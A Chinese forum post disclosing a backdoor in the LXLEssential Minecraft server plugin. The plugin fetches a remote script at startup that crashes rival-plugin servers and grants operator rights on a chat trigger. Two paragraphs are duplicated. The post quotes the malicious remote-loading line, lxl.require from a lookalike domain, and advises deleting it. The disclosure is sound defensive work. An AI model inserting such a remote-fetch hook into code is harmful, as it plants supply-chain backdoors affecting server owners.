神必壬
[MD]
[该插件原资源贴存档](https://web.archive.org/web/20220407142425/https://www.minebbs.com/resources/lxlessential.2836/)
[Github](https://github.com/LiteLScript-Dev/LXLEssential) [Github存档](https://web.archive.org/web/20220408030749/https://github.com/LiteLScript-Dev/LXLEssential)
该插件为开源插件,开源于Github上,理论上在插件内添加后门并且不被发现是十分困难的
但是借由插件的自动更新系统,加后门的想法得以实现
通过阅读该插件[源代码](https://github.com/LiteLScript-Dev/LXLEssential/blob/main/LXLEssential.js#L46),我们发现,该插件在每次启动时会从`liteldev-lxl.coding.net`下载`LXLETAutoUpdate.js`(**注意,此域名与LiteLDev无关,该插件开发者也不是LiteLDev的一员,更没有为LiteLoaderBDS贡献过任何代码**),而coding.net上的项目是不能直接访问的,这为自动下载恶意代码创造了前提条件
[/MD]

[MD] 在4月7日当晚,有用户反馈服务器启动就崩溃,经过查看,该插件在启动时会从`liteldev-lxl.coding.net`下载`LXLETAutoUpdate.js`调用LLSE内置的`crash()`方法,于是我们访问该url下载到了该文件,却看到了一些经过加密的js代码 [/MD]

通过解密,我们得到了以下代码

[MD] 经过阅读,也就解决了我们的疑惑,当该插件加载了下载到的`LXLETAutoUpdate.js`后,`LXLETAutoUpdate.js`会删除自身并添加定时执行`update()`函数的任务,而该函数会遍历LLSE插件列表,并在发现了`TMETAutoUpdate.js`后执行`crash()`函数以崩溃服务器 插件还通过`mc.listen`监听玩家聊天,并在发送指定聊天内容时更改玩家的权限等级为4(控制台) 该后门最早出现在2022年2月1日 [/MD]

若您的服务器过于依赖LXLEssentials
请删除位于LXLEssential.js第46行的代码

[MD] 在4月7日当晚,有用户反馈服务器启动就崩溃,经过查看,该插件在启动时会从`liteldev-lxl.coding.net`下载`LXLETAutoUpdate.js`调用LLSE内置的`crash()`方法,于是我们访问该url下载到了该文件,却看到了一些经过加密的js代码 [/MD]

通过解密,我们得到了以下代码

[MD] 经过阅读,也就解决了我们的疑惑,当该插件加载了下载到的`LXLETAutoUpdate.js`后,`LXLETAutoUpdate.js`会删除自身并添加定时执行`update()`函数的任务,而该函数会遍历LLSE插件列表,并在发现了`TMETAutoUpdate.js`后执行`crash()`函数以崩溃服务器 插件还通过`mc.listen`监听玩家聊天,并在发送指定聊天内容时更改玩家的权限等级为4(控制台) 该后门最早出现在2022年2月1日 [/MD]

若您的服务器过于依赖LXLEssentials
请删除位于LXLEssential.js第46行的代码
JavaScript:
lxl.require("LXLETAutoUpdate.js", "https://liteldev-lxl.coding.net/p/lxlessential/d/LXLEssential/git/raw/main/LXLETAutoUpdate.js");
最后编辑: